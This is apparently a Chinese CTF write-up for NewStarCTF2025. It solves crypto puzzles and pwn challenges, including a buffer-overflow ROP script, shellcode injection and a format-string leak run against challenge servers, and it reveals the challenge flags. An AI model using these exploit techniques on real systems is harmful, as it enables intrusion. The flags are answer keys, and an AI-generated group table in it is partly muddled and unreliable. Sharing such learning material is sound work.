Skip to content

NewStarCTF2025

约 4637 字大约 15 分钟

cryptopwn

2025-10-14

[Week1]

Crypto

[Cry]唯一表示

中国剩余定理重建

from sympy.ntheory.modular import crt
from Crypto.Util.number import *
from sympy import primerange

message_int_list = [1, 2, 2, 4, 0, 2, 11, 11, 8, 23, 1, 30, 35, 0, 18, 30, 55, 60, 29, 42, 8, 13, 49, 11, 69, 26, 8, 73, 84, 67, 100, 9, 77, 72, 127, 49, 57, 74, 70, 129, 146, 45, 35, 180, 196, 101, 100, 146, 100, 194, 2, 161, 35, 155]
primes = list(primerange(2, 114514))[:len(message_int_list)]

reconstructed, _ = crt(primes, message_int_list)
print(long_to_bytes(reconstructed))
# b'flag{9c8589c2-aecb-4ec4-b027-654bc322e2d1}'

[Cry]小跳蛙

写个简单的脚本,手动提交数据

def jump_frog(a, b):
    while a != b:
        if a > b:
            a = a - b
        else:
            b = b - a
    return a, b

while True:
    a = int(input("a = "))
    b = int(input("b = "))
    x, y = jump_frog(a, b)
    print(f"({a}, {b}) -> ({x}, {y})")

# flag{Go0d_j0b_t0_Cl34r_thi5_Diff3r3nt_t45k_4_u}

[Cry]随机数之旅1

ahi+m=hi+1modpa*h_i + m = h_{i+1} \mod p

显然有:m=hi+1ahimodpm = h_{i+1} - a*h_i \mod p

from Crypto.Util.number import long_to_bytes

a = 295789025762601408173828135835543120874436321839537374211067344874253837225114998888279895650663245853
p = 516429062949786265253932153679325182722096129240841519231893318711291039781759818315309383807387756431
hint = [184903644789477348923205958932800932778350668414212847594553173870661019334816268921010695722276438808, 289189387531555679675902459817169546843094450548753333994152067745494929208355954578346190342131249104, 511308006207171169525638257022520734897714346965062712839542056097960669854911764257355038593653419751, 166071289874864336172698289575695453201748407996626084705840173384834203981438122602851131719180238215, 147110858646297801442262599376129381380715215676113653296571296956264538908861108990498641428275853815, 414834276462759739846090124494902935141631458647045274550722758670850152829207904420646985446140292244]

m = (hint[2] - a*hint[1]) % p

print(long_to_bytes(m))
# b'flag{c3bc3ead-01e3-491b-aa2d-d2f042449fd6}'

[Cry]初识rsa

md5查表或者爆破

欧拉函数:

n=p1k1p2k2...pnknn = p_1^{k1}*p_2^{k2}*...*p_n^{kn}

ϕ(n)=p1k11(p11)p2k21(p21)...pnkn1(pn1)\phi(n) = p_1^{k1-1}*(p_1-1)*p_2^{k2-1}*(p_2-1)*...*p_n^{kn-1}*(p_n-1)

from Crypto.Util.number import *
from gmpy2 import iroot
import hashlib

KEY = b'5ae9b7f211e23aac3df5f2b8f3b8eada'
key = b'crypto' # 查表
P= 8950704257708450266553505566662195919814660677796969745141332884563215887576312397012443714881729945084204600427983533462340628158820681332200645787691506
n= 44446616188218819786207128669544260200786245231084315865332960254466674511396013452706960167237712984131574242297631824608996400521594802041774252109118569706894250996931000927100268277762882754652796291883967540656284636140320080424646971672065901724016868601110447608443973020392152580956168514740954659431174557221037876268055284535861917524270777789465109449562493757855709667594266126482042307573551713967456278514060120085808631486752297737122542989222157016105822237703651230721732928806660755347805734140734412060262304703945060273095463889784812104712104670060859740991896998661852639384506489736605859678660859641869193937584995837021541846286340552602342167842171089327681673432201518271389316638905030292484631032669474635442148203414558029464840768382970333
c= 42481263623445394280231262620086584153533063717448365833463226221868120488285951050193025217363839722803025158955005926008972866584222969940058732766011030882489151801438753030989861560817833544742490630377584951708209970467576914455924941590147893518967800282895563353672016111485919944929116082425633214088603366618022110688943219824625736102047862782981661923567377952054731667935736545461204871636455479900964960932386422126739648242748169170002728992333044486415920542098358305720024908051943748019208098026882781236570466259348897847759538822450491169806820787193008018522291685488876743242619977085369161240842263956004215038707275256809199564441801377497312252051117441861760886176100719291068180295195677144938101948329274751595514805340601788344134469750781845
e=65537

p = P^(bytes_to_long(key))
q = iroot(n // (p**3), 2)[0]
print(f'p={p}\nq={q}\np**3 * q**2={p**3 * q**2}')

assert hashlib.md5(key).hexdigest().encode()==KEY
assert p**3 * q**2 == n

phi = p**2*(p-1)*q*(q-1)

print(long_to_bytes(pow(c, inverse(e, phi), n)))
# b'flag{W3lc0me_t0_4h3_w0rl4_0f_Cryptoooo!}'

[Cry]Sagemath使用指哪?

运行有:flag{e142d08c-7e7d-43ed-b5ad-af51ffc512ee}

Pwn

[PWN]GNU Debugger

task1:找到R12寄存器的值:

────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────
 RAX  0x6a3a479b23acfe8d
 RBX  0x6a3a479b00000000
 RCX  0x7ffff7e0302c (randtbl+12) ◂— 0xd4748f376371de8b
 RDX  0
 RDI  0x7ffff7e036a0 (unsafe_state) —▸ 0x7ffff7e03038 (randtbl+24) ◂— 0x960084581c054419
 RSI  0x7fffffffd5c4 ◂— 0x89c65c0023acfe8d
 R8   0x7ffff7e03038 (randtbl+24) ◂— 0x960084581c054419
 R9   0x7ffff7e030a0 (pa_next_type) ◂— 8
 R10  0xfdb0d5bc
 R11  0x202
 R12  0x6a3a479b23acfe8d
 R13  0
 R14  0x555555559d00 (__do_global_dtors_aux_fini_array_entry) —▸ 0x555555555400 (__do_global_dtors_aux) ◂— endbr64 
 R15  0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— 0x10102464c457f
 RBP  0x7fffffffd620 —▸ 0x7fffffffd760 —▸ 0x7fffffffd800 —▸ 0x7fffffffd860 ◂— 0
 RSP  0x7fffffffd5f0 ◂— 3
 RIP  0x555555555530 (stage_0_register_check+143) ◂— mov qword ptr [rbp - 0x28], 0

为:0x6a3a479b23acfe8d

task2:找到地址为0x5555555557c27位置内存中的值

pwndbg> x/s 0x555555557c27
0x555555557c27:    "GDB_IS_POWERFUL"

task3:给函数下断点

pwndbg> b *0x555555555779
Breakpoint 1 at 0x555555555779

task4:修改0x7fffffffd614中的值为0xdeadbeef:

pwndbg> set {int}0x7fffffffd614 = 0xdeadbeef
pwndbg> c
Continuing.
向导离开了队伍。.

[*] Initializing security protocols...
[+] 世界上即将增加一个PWN高手了捏
[+] FLAG : flag{ff94a69c-290f-43c3-9be3-f8c9470b1d30}

[PWN]pwn's door

IDA打开反编译有:

if ( v4 == 7038329 )
{
    puts("You have successfully opened the door!");
    puts("please try the command 'cat flag' to get the flag.");
    system("/bin/sh");
}

nc连接输入密码7038329

You have successfully seen the door with the help of cat or python!
And you find that you need a key to open the door.
Take a try
1 2 3
4 5 6
7 8 9
  0  
password: 7038329
You have successfully opened the door!
please try the command 'cat flag' to get the flag.
cat flag
flag{52fc3ccc-b6c1-4de1-8fb9-fda46c5f891d}

[PWN]INTbug

int16类型整数的范围为:- 32768 到 32767,每次输入会自增1,连续输入32768即可溢出到负数

from pwn import *

context.log_level = 'debug'

# import os
# DIR = os.path.dirname(os.path.abspath(__file__))
# io = process(os.path.join(DIR, 'INTbug'))

io = remote('47.94.87.199', 20605)

for _ in range(32768):
    io.sendline(b'1')

io.interactive()
welcome to NewStarCTF2025!

[DEBUG] Received 0xc bytes:
    b'You got it!\n'
You got it!
[DEBUG] Received 0x2c bytes:
    b'\n'
    b'flag{0c42e47e-14d9-4f49-b1b1-a44a1f9b76ef}\n'

[PWN]overflow

使用了get来读取输入,buffer缓冲区只有256,加上8字节的rbp,之后为函数返回地址,将其修改为后门程序

先使用ROPgadget --binary ./overflow | grep "ret"找到一个ret函数的地址用于栈对齐

from pwn import *
context.log_level = 'debug'

io = remote('47.94.87.199', 36990)

# buffer(256字节) + rbp(8字节)
offset = 264

backdoor_addr = 0x401200
ret_gadget = 0x401016

payload = b'A' * offset                   # 填充缓冲区和rbp
payload += p64(ret_gadget)                # 填充返回地址为ret gadget
payload += p64(backdoor_addr)             # 覆盖返回地址为后门函数地址

io.sendline(payload)
io.interactive()
[+] Opening connection to 47.94.87.199 on port 36990: Done
[*] Switching to interactive mode
----Welcome to EZoverflow!----
There is a glitch in this program that allows you to overflow the buffer.
Let me show you a sample of how it works:
This is the address of the backdoor function: 0x401234
Then fill the buffer with the trash and fill the return address with the address of the unexcuted function.
This is a function that is not supposed to be executed.
Now,Try to exploit it as I done and get the shell!
Enter your input:
Congratulations! You have found the backdoor!
You can now execute any command you want.
$ ls
bin
boot
dev
etc
flag
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag
flag{27d2956f-7d40-48c0-bca5-6510be45cfef}

[PWN]input_function

mmap函数分配了具有可读、可写、可执行权限(参数7对应PROT_READ|PROT_WRITE|PROT_EXEC)的内存区域给buf,给buf输入shellcode可以被执行

from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'

io = remote('47.94.87.199', 30846)

shellcode = asm(shellcraft.sh())

io.sendlineafter(b"please input a function(after compile)\n", shellcode)
io.interactive()
[*] Switching to interactive mode
$ ls
bin
boot
dev
etc
flag
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
pwn
root
run
sbin
srv
start.sh
sys
tmp
usr
var
$ cat flag
flag{adf49eb6-bc83-4341-aabe-1464fc7bded8}

[Week2]

Crypto

[Cry]置换

根据题目有如下信息:

置换规则:

F=(1  2  3  4  5  6  7)(8  9  10  11  12  13  14)(1  3  5  7)(2  4  6)(8  10  12  14)\mathrm F = (1\;2\;3\;4\;5\;6\;7)(8\;9\;10\;11\;12\;13\;14) \circ (1\;3\;5\;7)(2\;4\;6)(8\;10\;12\;14)

置换的信息结果:SUFK_D_SJNPHA_PARNUTDTJOI_WJHH_GACJIJTAHY_IOT_STUNP_YOU.

反向置换回去:

# 密文
encrypted_text = "SUFK_D_SJNPHA_PARNUTDTJOI_WJHH_GACJIJTAHY_IOT_STUNP_YOU."

# 置换规则
cycle1 = [(1, 2, 3, 4, 5, 6, 7), (8, 9, 10, 11, 12, 13, 14)]
cycle2 = [(1, 3, 5, 7), (2, 4, 6), (8, 10, 12, 14)]

def create_inverse_mapping(cycles):
    """创建置换的逆映射字典"""
    inverse_map = {}
    for cycle in cycles:
        cycle_length = len(cycle)
        for idx, num in enumerate(cycle):
            inverse_map[num] = cycle[(idx - 1) % cycle_length]
    return inverse_map

inverse_map1 = create_inverse_mapping(cycle1)
inverse_map2 = create_inverse_mapping(cycle2)

print("逆置换映射1:", inverse_map1)
print("逆置换映射2:", inverse_map2)

# 解密过程
decrypted_chars = []
for char in encrypted_text:
    if char.isalpha():
        num = ord(char) - ord('A') + 1

        num = inverse_map1.get(num, num)
        num = inverse_map2.get(num, num)

        decrypted_char = chr(num - 1 + ord('A'))
        decrypted_chars.append(decrypted_char)
    else:
        decrypted_chars.append(char)

decrypted_text = ''.join(decrypted_chars)
print("\n解密结果:", decrypted_text)
# SUCH_A_SIMPLE_PERMUTATION_WILL_DEFINITELY_NOT_STUMP_YOU.

[Cry]FHE: 0 and 1

public_keys中pk = pnumber+saltp*number + salt

这里的salt为1~10之间的一个整数,选取pk,遍历并GCD求出p

def find_p(public_keys):
    # 取前3个公钥来计算
    pk0, pk1, pk2 = public_keys[:3]

    # 尝试所有可能的偏移量组合(1-10)
    for r0 in range(1, 11):
        v0 = pk0 - r0
        if v0 <= 0:
            continue
        for r1 in range(1, 11):
            v1 = pk1 - r1
            if v1 <= 0:
                continue
            g = math.gcd(v0, v1)
            if g < 2:
                continue
            for r2 in range(1, 11):
                v2 = pk2 - r2
                if v2 <= 0:
                    continue
                current_gcd = math.gcd(g, v2)
                # p是128位素数,值会很大
                if current_gcd > 10**30:
                    return current_gcd
    return None

p = find_p(public_keys)
print(f"找到p: {p}")

# 找到p: 232705849988154546719847649732849410619

找到p后,观察下一部分:

small_noise = 2 * random.randint(1, p // 2**64)
large_noise = p * random.randint(p // 4, p // 2)
c_i = int(bit) + small_noise + large_noise

发现,small_noise一定为偶数且比p小,而large_noise为p的倍数,故在mod p的情况下显然会有ci和bit同奇偶。

# 解密每个二进制位
bits = []
for c in ciphertext:
    remainder = c % p
    # 奇数对应1,偶数对应0
    bit = '1' if remainder % 2 == 1 else '0'
    bits.append(bit)

# 转换二进制字符串为flag
binary_str = ''.join(bits)
flag = ""
# 每8位转换为一个字符
for i in range(0, len(binary_str), 8):
    byte = binary_str[i:i+8]
    if len(byte) < 8:
        break
    flag += chr(int(byte, 2))

print(f"解密得到flag: {flag}")

# 解密得到flag: flag{3235c1ab-6830-480f-b5e0-39be40b94a7d}

[Cry]群论小测试

需要识别题目中所示的多个群的名称

[豆包分析特征如下:]

群类型具体群(符号)阶数(元素个数)核心结构与运算性质凯莱表关键识别特征
循环群C₂(Z₂)2素数阶阿贝尔群,仅含单位元和 1 个 2 阶元素,由 2 阶元素生成(运算如模 2 加法)2×2 表格,主对角线对称;非单位元与自身运算结果为单位元(如 1×1=0)
C₃(Z₃)3素数阶阿贝尔群,仅含单位元和 2 个 3 阶元素,由 3 阶元素生成(运算如模 3 加法)3×3 表格,主对角线对称;非单位元需运算 3 次才回到单位元(如 1×1×1=0)
C₄(Z₄)4阿贝尔群,含 1 个 4 阶生成元、1 个 2 阶元素(生成元平方),运算如模 4 加法4×4 表格,主对角线对称;存在 1 个元素满足 “a×a×a×a = 单位元”(如 1×1×1×1=0)
C₅C₁₀(Z₅Z₁₀)5~10阿贝尔群,均由单个 n 阶元素生成,元素阶为 n 的因数(如 C₆含 6 阶、3 阶、2 阶元素)n×n 表格,主对角线对称;存在 1 个元素,其幂可生成所有元素
克莱因四元群V₄(K₄)4非循环阿贝尔群,含单位元和 3 个 2 阶元素(任意两非单位元运算得第三个),同构于 C₂×C₂4×4 表格,主对角线对称;所有非单位元满足 “a×a = 单位元”,且 a×b=c(a、b、c 为非单位元)
对称群S₃6非阿贝尔群,含 3 个 2 阶元素(对换)、2 个 3 阶元素(3 - 循环),同构于 D₃(正三角形对称群)6×6 表格,非对称;存在元素对不满足交换律(如 a×b≠b×a),含 2 阶和 3 阶元素
S₅120非阿贝尔群,含大量奇 / 偶置换,阶数超代码 MAX_ORDER=10,游戏中不出现120×120 表格,非对称;元素阶多样(如 2、3、4、5 阶)
二面体群D₄8非阿贝尔群,含 4 个旋转(1 个 4 阶、1 个 2 阶)、4 个反射(均 2 阶),对应正四边形对称8×8 表格,非对称;含 5 个 2 阶元素、2 个 4 阶元素,存在旋转与反射的非交换对
D₅10非阿贝尔群,含 5 个旋转(1 个 5 阶、3 个 5 阶、1 个 1 阶)、5 个反射(均 2 阶),对应正五边形对称10×10 表格,非对称;含 6 个 2 阶元素、4 个 5 阶元素,无 4 阶元素
D₆12非阿贝尔群,含 6 个旋转(1 个 6 阶、1 个 3 阶、1 个 2 阶)、6 个反射(均 2 阶),阶数超 MAX_ORDER12×12 表格,非对称;含 7 个 2 阶元素、2 个 3 阶元素、2 个 6 阶元素
四元数群Q₈8非阿贝尔群,含 1 个 2 阶元素(-1)、6 个 4 阶元素(i、-i、j、-j、k、-k),无反射操作8×8 表格,非对称;仅 1 个 2 阶元素,其余 6 个均为 4 阶元素,无 “旋转 - 反射” 结构
交错群A₄12非阿贝尔群,含 8 个 3 阶元素(3 - 循环)、3 个 2 阶元素(双重对换),阶数超 MAX_ORDER12×12 表格,非对称;无 6 阶元素,含大量 3 阶元素
A₅60非阿贝尔群(单群),含多种阶元素(2、3、5 阶),阶数超 MAX_ORDER,游戏中不出现60×60 表格,非对称;元素阶多样,无正规子群
Welcome to the Cayley Table Group-ID Quiz!

Identify 5 groups correctly to get the flag.

Round 1: The table below is a group of order n=5.
Elements are anonymized as 0..n-1. Multiplication is row * column.

      0   1   2   3   4
--------------------
  0   1   2   4   0   3
  1   2   4   3   1   0
  2   4   3   0   2   1
  3   0   1   2   3   4
  4   3   0   1   4   2

Your answer (e.g., C4, Z6, S3, D4, V4, Q8, A4, S4): C5
 Correct! Progress: 1/5

Round 2: The table below is a group of order n=10.
Elements are anonymized as 0..n-1. Multiplication is row * column.

      0   1   2   3   4   5   6   7   8   9
----------------------------------------
  0   7   8   5   6   9   2   3   0   1   4
  1   2   6   9   8   5   7   4   1   0   3
  2   1   0   7   4   3   9   8   2   6   5
  3   4   9   6   7   0   8   2   3   5   1
  4   3   5   8   2   1   6   7   4   9   0
  5   8   7   0   9   6   4   1   5   3   2
  6   9   4   3   0   7   1   5   6   2   8
  7   0   1   2   3   4   5   6   7   8   9
  8   5   3   4   1   2   0   9   8   7   6
  9   6   2   1   5   8   3   0   9   4   7

Your answer (e.g., C4, Z6, S3, D4, V4, Q8, A4, S4): D5
 Correct! Progress: 2/5

Round 3: The table below is a group of order n=6.
Elements are anonymized as 0..n-1. Multiplication is row * column.

      0   1   2   3   4   5
------------------------
  0   1   0   5   4   3   2
  1   0   1   2   3   4   5
  2   4   2   1   5   0   3
  3   5   3   4   1   2   0
  4   2   4   3   0   5   1
  5   3   5   0   2   1   4

Your answer (e.g., C4, Z6, S3, D4, V4, Q8, A4, S4): S3
 Correct! Progress: 3/5

Round 4: The table below is a group of order n=6.
Elements are anonymized as 0..n-1. Multiplication is row * column.

      0   1   2   3   4   5
------------------------
  0   0   1   2   3   4   5
  1   1   0   5   4   3   2
  2   2   3   4   5   0   1
  3   3   2   1   0   5   4
  4   4   5   0   1   2   3
  5   5   4   3   2   1   0

Your answer (e.g., C4, Z6, S3, D4, V4, Q8, A4, S4): S3
 Correct! Progress: 4/5

Round 5: The table below is a group of order n=10.
Elements are anonymized as 0..n-1. Multiplication is row * column.

      0   1   2   3   4   5   6   7   8   9
----------------------------------------
  0   3   5   4   6   9   0   8   1   2   7
  1   5   7   8   0   2   1   3   9   6   4
  2   4   8   5   9   0   2   7   6   1   3
  3   6   0   9   8   7   3   2   5   4   1
  4   9   2   0   7   3   4   1   8   5   6
  5   0   1   2   3   4   5   6   7   8   9
  6   8   3   7   2   1   6   4   0   9   5
  7   1   9   6   5   8   7   0   4   3   2
  8   2   6   1   4   5   8   9   3   7   0
  9   7   4   3   1   6   9   5   2   0   8

Your answer (e.g., C4, Z6, S3, D4, V4, Q8, A4, S4): C10
 Correct! Progress: 5/5


🎉 Congrats! Here is your flag: flag{I_v3_b3c0m3_@n_e^3Rt_in_gr0up_7h30ry_@Ft3r_5o1ving_7hi5_+++bl3m!!!}

[Cry]DLP_1

较为简单的离散对数问题,使用小步大步算法求解

from Crypto.Util.number import long_to_bytes

p = [189869646048037, 255751809593851, 216690843046819]
g = [5, 3, 3]
h = [78860859934701, 89478248978180, 81479747246082]

def BSGS(g, y, p):
    m = int((p-1)**0.5 + 0.5)
    table = {}
    gr = 1
    for r in range(m):
        table[gr] = r
        gr = (gr * g) % p

    gm = pow(g, -m, p)
    ygqm = y   
    for q in range(m):
        if ygqm in table:
            return q * m + table[ygqm]
        ygqm = (ygqm * gm) % p
    return None

parts = []
for i in range(3):
    x = BSGS(g[i], h[i], p[i])
    part_bytes = long_to_bytes(x)
    parts.append(part_bytes)
    print(f"第{i+1}部分: {part_bytes}")

full_flag = b'flag{' + b''.join(parts) + b'}'
print(f"完整flag: {full_flag}")

"""
第1部分: b'I_l0v3'
第2部分: b'_DLPPP'
第3部分: b'PP^.^!'
完整flag: b'flag{I_l0v3_DLPPPPP^.^!}'
"""

[Cry]RSA_revenge

part1通过试除得到素因子,按照欧拉函数的定义求解

part2根据提示的"费马",有(n=pqrn = p*q*r):

hint2=mrmodn=m(r1)+1modr=mmodrhint2 = m^r \mod n = m^{(r-1)+1} \mod r = m \mod r

hint2n=mpqrmodr=mpqmodrhint2^n = m^{p*q*r} \mod r = m^{p*q} \mod r

又有:hint1=mpqmodnhint1 = m^{p*q} \mod n

则:hint2nhint1=k2rk1pqr=r(k2k1pq)hint2^n - hint1 = k2*r - k1*p*q*r = r*(k2-k1*p*q)

此时GCD(hint2nhint1,n)=rGCD(hint2^n - hint1, n) = r,随后正常求解

list = [8477643094111283590583082266686584577185935117516882965276775894970480047703089419434737653896662067140380478042001964249802246254766775288215827674566239, 7910991244809724334133464066916251012653855854025088993280923310153569870514093484293150987057836939645880428872351249598065661847436809250099607617398229, 12868663117540247120940164330605349884925779832327002530579867223566756253418944553917676755694242046142851695033487706750006566539584075228562544644953317]
n1=1103351600126529748374237534378639752005563260397057273760573608668234841858898339963615180586483636658319719258259564340229731088477043006707066258091746453519875771328756343070392346553837475869985292233339882321767365588480914243055530194543710833400735694644740966837509139443272712871728933520755003149497543272631963356726446399042360341133139923381402765176034620742095462597690819317740258280338778466308360122325510768573457366480478480385099879072314101166576014811788437611871531848011762293407180575205681864374034973560073644731757180275405672624629974899658185645498677923049149478738083257882839079796420483489134608949730373829870700049152830490730902518823469250714236113622490232617166274965015245948264281265453208875232918994116540222173029738472689551464384951129495828658025526216028826258099588572669439254177489891457890498930044291769038333452721765661715836795838845421437984152253836745540547878024331492328801233425013069672422548913381714868180440419922587534373534388179645778998201569812711853469607955639409976100938326204393436455902117700715705355730254907473694496862186927081288536664564066273905636691443629865742113665395817897790346568115147261785693069547062993147965228097215778787698574672103567611954541526351385121096946876318405181900957517179318858167322380305506577864659070587276190351263272904670121000123739762817165611376508091511049581310489960967300251226150505529874043827860587179066433478573304632672443028389332137578559069790875583860034559992961597964011009181097461053565357444468759142467793785272517357594961007684369171923169825343428400994582000709315829746271356743493827706669902956302087422710335869361908872578360718630332916867987882367454381486160119341248986730614715669587555561672656107579415221691270769054441036888212622679174466809685017295395823904506545225068526453243179279430769878809345179954207934650512040934969514434321887565917951423932360150276928683390148666338790317001765138293050858448249492058987889761085236104153306884365020403974305552987123976314900738336243171779096705121428628914344115125836293982077268043357822313817090167616525512714228298048543723340688062975654817272989686281447834032081689520522343318726816659742944874587243087717935463623631288732784108299093601104113561688659145661286269339180833210463
c1=1091994761217634826072124019708574984391652131019528859451478177360336520455071879664626056517127684886792263267184750289726966173475531785135908239241367011964947254146686336678625127107000203921535502636024125382397949549706019108806905113568387688784083651867765356465676713044867529224095280990952281722377729904633765755308727317586804384907594623294542255582608130775388385053656500091188492219892541287152759373311871679053567569991598739628072091647402994694057021522875429987401797108991466209720726320411739418901734326490258573985380323870664455719118307333460877640654186421881374126846465164012283741829305792336376443671697322944983680753186871994926812712407530175535547953488409667363778877011722921746615125168842335755090712330314248078688305813574126414154357295682111730319771541764882123530538798904329448342477283010679916534388272354852606444335501019923314748714020060783702757991765107811664795881473290112012642711848840732656792842975595985262637352884148989392358729413049666423809444629233355604344713121576947744271550672311509709353155584615401385981281541568915650140285513857950097872392262841978506457072907666348887936981254691271750737368646952613446340505887570613771043863966115924851279285010321193299940403084752305457659188900451883509679442577291500194294702408740417770241347854055121038455584689346661759142226424655750649030196509606345959868857460928822458178193914427975718432613693148519385509070885413086890691471063639321214058351800789483569828355240522324245612035847073723555128381268497293297681153943700076717509367055194706714770699658667364019792069384855913700111098207862666478388154325649690787295929427544059466206456378068191323286585251490682952650730101051661446454500997013269750318207079005140046631065420740924251847948208391204635801689730778074655515676216581230345037704163062457051532737078339281175699645868527505281984564077081473213204937490995858702477009964928872064904754834804222961572810639265783286770899262602346777948115933216112376126550352514674411338374863486761612733848198090788549337632188615953986569772932102409611086086895003705261003974939487286850347660140334361903821934552381535024019082394626749532280515222512480387681995937963724398131252527927016338174692268363933916957519992512787514236065140642709723084266949
e = 65537

n2=1069018081462192233874980694931144545150390355151142000407896565228521856087497130221328822828336193888433906258622424173888905902703892967253752403237818439004204769185744957222426788163474091322195131517000927031632213563726678357776820914860304114493023487392954636569155416533134778017635963554249754152905136768251720862406591818283210776943594065154793598910172412634428403766286774221252340847853800584819732893065160890727141088203583945705491817754798199
hint1=495128350277196206878301144662871873237030348510695923954264742873861239639964327065778936381957512315649691671343380037835210964239285388639258116089512827565613815144843995253866231195560373946746849139176701974882655518646303907103018798645711804858249793838527221003421990186067508970406658504653011309012705975088331579176215562874130854040538446696646570783420605205142219423250083326857924937357413604293802370900521919578742651150371880416910794941782372
hint2=30328561797365977072611520167046226865857127358764834983211668172910299946455309984910564878419440651867811045905957544019080032899770755776597512870488988655573901143704158135658656276142062054235425241921334990614594054774876139797881802290465401101513930547809082303438739954539239681192173563314964619128522116071538744700209974655230351192503911493028021717763873423132332205605117704777006410273001461242351682504368760936763922017247768057874236213463076
hint3=20884722618082876001516601155402590958389763080024067634953470674302186115943562475648388511118550021010685094074280890845364756164094187193286427464829840
c2=548415661734126053738347374438337003873176731288953351164055019598761821990636552806558989407452529293973596759395078164177029251755832478675308995116633955485067347066419466003081030015784908106772410713523387155248930421498438336128348929737424937920603679054765413736671822930257854740643178209639013528748572597042833138551717910328899462934527011212318128877188460373648545379405946354668400634037669394938860103705689139981117990256660685216959315741336968


from Crypto.Util.number import *

# slove part1
n = n1
phin = 1
for k in list:
    tmp = 0
    while n % k == 0:
        n //= k
        tmp += 1
    phin *= k**(tmp-1)*(k-1)

part1 = long_to_bytes(pow(c1, inverse(e, phin), n1))

# slove part2
r = GCD(pow(hint2,n2,n2)-hint1,n2)
pq = n2//r
phi = (r-1)*(pq+1-hint3)
part2 = long_to_bytes(pow(c2, inverse(e, phi), n2))

print(part1+part2)
# b'flag{Ooooo6_y0u_kn0w_F3rm@t_and_Eu13r_v3ry_w3ll!!}'

Pwn

[PWN]刻在栈里的秘密

printf的格式化字符串漏洞,根据提示

0x7ffdf0ff1520:    [?] <-- 密码在这里捏
0x7ffdf0ff1518:    [?]
0x7ffdf0ff1510:    [?]
0x7ffdf0ff1508:    [?]
0x7ffdf0ff1500:    [?]
0x7ffdf0ff14f8:    [?]
0x7ffdf0ff14f0:    [?]
0x7ffdf0ff14e8:    [?]
0x7ffdf0ff14e0:    [?]
0x7ffdf0ff14d8:    [?]
0x7ffdf0ff14d0:    [?]
0x7ffdf0ff14c8:    [?]
0x7ffdf0ff14c0:    [?]
0x7ffdf0ff14b8:    [?]
0x7ffdf0ff14b0:    [?]
0x7ffdf0ff14a8:    [?]
0x7ffdf0ff14a0:    [?]
0x7ffdf0ff1498:    [?]
0x7ffdf0ff1490:    [?] <-- 栈顶在这里捏
R9:        [?]
R8:        [?]
RCX:        [?]
RDX:        [?]
RSI:        [?]
RDI:        [格式化字符串]

地址差值:0x7ffdf0ff1520 - 0x7ffdf0ff1490 = 0x90,每个栈元素大小为 8 字节,所以栈上的位置偏移为:0x90 / 8 = 18,在 x64 架构中,前 6 个参数通过寄存器传递,因此格式化字符串中需要使用的偏移是:18 + 6 = 24,使用%24$p得到指针,%24$s得到指针对应的密码

看起来就像 printf(your_input), 实际上这样是很危险的, 好孩子不要模仿^^. 来吧让我看看你的输入
%24$p   
printf第 1 次启动!
0x7ffd5218fe00

再来一次 !
%24$s
printf第 2 次启动!
OHQIZDCUIXKYKLU

现在来验证一下密码吧 ( ⁼̴̀ ⁼̴ )✧!输入你的密码:
OHQIZDCUIXKYKLU
现在来验证一下密码的指针吧 ( ⁼̴̀ ⁼̴ )✧!输入你的密码:
给我输入一个类似 0x114514 16 进制数!
0x7ffd5218fe00
好棒 ̋(๑˃́ꇴ˂̀๑) 给你flag
flag{85309f87-0e2b-4b9a-843a-d1eaa21f0889}

[Week3]

Crypto

[Cry]欧皇的生日

x1x2ax12+bx1+c=ax22+bx2+c=>x1+x2=b/ax_1 \neq x_2 \\ ax_1^2 + bx_1 +c = ax_2^2 + bx_2 +c \\ => x_1 + x2 = -b/a

只需要得到a,b,c的值,随便构造就能得出,恰好能够任意输入,可以得到:

Hash(0)=cHash(1)=a+b+cHash(2)=4a+2b+cHash(0) = c \\ Hash(1) = a+b+c \\ Hash(2) = 4a+2b+c

from Crypto.Util.number import inverse

m = 2**22

h0,h1,h2 =785236,685858,262486 

# h0 =  c
# h1 =  a + b + c
# h2 =  4a + 2b + c

c = h0
a = ((h2 - h0 - 2*(h1 - h0)) % m ) // 2 
b = (h1 - h0 - a) % m

t = -b * inverse(a,m) % m
print(f'{t} 0')
# 1721095 0
# flag{-----you---are----so++++lucky+++++}

[Cry]GCL

原生成式sn+1=asn1+bmodps_{n+1} = as_{n}^{-1}+b \mod p可以转化为a+bsn=snsn+1modpa + bs_n = s_ns_{n+1} \mod p,转化后的式子可以通过groebner_basis()求出p,随后解方程得到a和b,利用最后一个gift求出key,进而求出flag

"""SageMath version 10.7"""

from Crypto.Util.number import *

c = 18160008429568445340421193226402615775962630020115351294214303830750860843808409781742323237344243089
gift = [
131865585354798388503853664204045577497186238155562615801484830104683890877181087005834317031942408283,
109059933499981578098773732552241207995570220834770592696583461488231579239704140357451421969855041379,
98201806091494704187082836852065059816140437191793644297243874711016194459625411781009291718075199135,
18757271931319533257322147585629190099147626954402651433709338855513752753972712032016018862573500407,
44414575833831572247180084691462875843855281105693674992974405001127527490917389843309074213475473796,
119230797767846495009095216222595719657467391997837145037599770904490776264420156248960485317227292047,
55025298938239176714746988606097305944000798467396224542466354530737718336537150422546120714654987068,
61108071970379547679922902146574052023820080507110885404335008795305785800023228103358713867748030391, 73121196162106845765032066055951000614569505693120119413603886103757507878101072263238094066564654117, 41442768650713930642944746020790921582963259300977583069055974755273373804142970727737438848232141888
]

P.<a,b> = PolynomialRing(ZZ)
f1 = a + b*gift[0] - gift[0]*gift[1]
f2 = a + b*gift[1] - gift[1]*gift[2]
f3 = a + b*gift[2] - gift[2]*gift[3]
f4 = a + b*gift[3] - gift[3]*gift[4]

F = [f1, f2, f3, f4]
I = Ideal(F).groebner_basis()

p = int(I[-1])
Gp = GF(p)

m = [[1, gift[i]] for i in range(4)]
A = Matrix(Gp, m)
b = [gift[i]*gift[i+1] for i in range(4) ]
b = vector(Gp, b)
x = A.solve_right(b)

a,b = int(x[0]), int(x[1])
key = (a*inverse(gift[-1], p)+b )% p
m = c^^key
print(long_to_bytes(m))

# flag{2eac1c79-8abd-465e-82f4-96beffed69e4}

[Cry]随机数之旅3

题目是一个矩阵的乘法,直接利用矩阵解出来的解码不正确,发现解空间维数为1,考虑多解,利用特解加上不同倍数的基向量,验证第一位是否满足

p = 5323
A_rows = [(...),(...),...]
b_values = [...]

